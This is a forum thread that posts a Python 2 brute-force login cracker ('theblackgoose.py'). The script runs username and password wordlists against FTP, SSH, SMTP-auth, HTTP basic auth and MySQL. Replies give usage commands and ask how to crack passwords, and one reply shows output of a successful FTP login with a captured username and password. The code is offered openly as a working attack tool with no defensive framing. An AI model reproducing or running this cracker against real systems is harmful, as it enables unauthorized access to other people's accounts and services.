0 Members and 2 Guests are viewing this topic.
#!/usr/bin/env pythonuninstalled = []try: import ftplibexcept ImportError: uninstalled.append("ftp") print "ftplib not installed, cannot crack ftp"try: import paramikoexcept ImportError: uninstalled.append("ssh") print "paramiko not installed, cannot crack ssh"try: import smtplibexcept ImportError: uninstalled.append("smtp") print "smtplib not installed, cannot crack smtp-auth"try: import MySQLdbexcept ImportError: uninstalled.append("mysql") print "MySQLdb not installed, cannot crack mysql"import sys, urllib2, random # safe to assume these are installedif len(sys.argv) != 5: print "Usage: ./theblackgoose.py target service /path/to/username/file /path/to/password/file" sys.exit()elif sys.argv[2] in uninstalled: print "Required libraries not installed" sys.exit()try: usernames = open(sys.argv[3], "r").readlines()except: print "Could not open username file!" sys.exit()try: passwords = open(sys.argv[4], "r").readlines()except: print "Could not open password file!" sys.exit()index = 0while index < len(usernames): usernames[index] = usernames[index].replace("\n", "") index += 1index = 0while index < len(passwords): passwords[index] = passwords[index].replace("\n", "") index += 1random.shuffle(usernames); random.shuffle(passwords)quit = raw_input("Exit on first successful login? ")def ftpcrack(target, userlist, passlist): print "Attacking target..." for user in userlist: for passwd in passlist: try: ftp = ftplib.FTP(target) except: print "Connection refused" sys.exit() try: ftp.login(user, passwd) print "Login success! Username:", user, "password:", passwd if quit: sys.exit() except: passdef sshcrack(target, userlist, passlist): print "Attacking target..." for user in userlist: for passwd in passlist: try: ssh = paramiko.SSHClient() ssh.connect(target, username=user, password=passwd) print "Login success! Username:", user, "password:", passwd if quit: sys.exit() except: passdef smtpcrack(target, userlist, passlist): print "Attacking target..." for user in userlist: for passwd in passlist: try: server = smtplib.SMTP(target) except: print "Connection refused" sys.exit() try: server.starttls() # might be better if we use TLS encryption except: pass # but the server might not support it try: server.login(user, passwd) print "Login success! Username:", user, "password:", passwd if quit: sys.exit() except: passdef htcrack(url, userlist, passlist): print "Attacking target..." passmanager = urllib2.HTTPPasswordMgrWithDefaultRealm() for user in userlist: for passwd in passlist: passmanager.add_password(None, url, user, passwd) authhandler = urllib2.HTTPBasicAuthHandler(passmanager) opener = urllib2.build_opener(authhandler) urllib2.install_opener(opener) try: urllib2.urlopen(url) print "Login found! Username:", user, "password:", passwd if quit: sys.exit() except: passdef mysqlcrack(target, userlist, passlist): print "Attacking target..." for user in userlist: for passwd in passlist: try: data = MySQLdb.connect(host=target, port=3306, user=user, passwd=passwd) print "Login success! Username:", user, "password:", passwd if quit: sys.exit() except: passif sys.argv[2] == "ftp": ftpcrack(sys.argv[1], usernames, passwords)elif sys.argv[2] == "ssh": sshcrack(sys.argv[1], usernames, passwords)elif sys.argv[2] == "smtp": smtpcrack(sys.argv[1], usernames, passwords)elif sys.argv[2] == "htaccess": htcrack(sys.argv[1], usernames, passwords)elif sys.argv[2] == "mysql": mysqlcrack(sys.argv[1], usernames, passwords)
for index in usernames: index = index.strip() #or .replace() or whatever you like
I, need simple stuff.Why can't someone make a thing where you type in the address to the site, type in the username you want,, then bruteforce.Nope. Gotta be complicated.
How do i use this to crack a password ? I may sound like a noob but if your willing to teach im ready to learn rather than using it for stupid reasons.
Welcome. Sit on the couch in the corner and I'll bring in the bitches.
python theblackgoose.py <host> service(ftp) <username_file> <password_file>
python theblackgoose.py <host> <service> /home/username/Desktop/usernames.txt /home/username/Desktop/passwords.txt
python.exe theblackgoose.py 192.168.1.105 ftp f:\script\py\username.txt f:\script\py\password.txt
paramiko not installed, cannot crack ssh MySQLdb not installed, cannot crack mysql Exit on first successful login? y Attacking target... Login success! Username: Suiram password: Th!nkc3ntr2F:\python>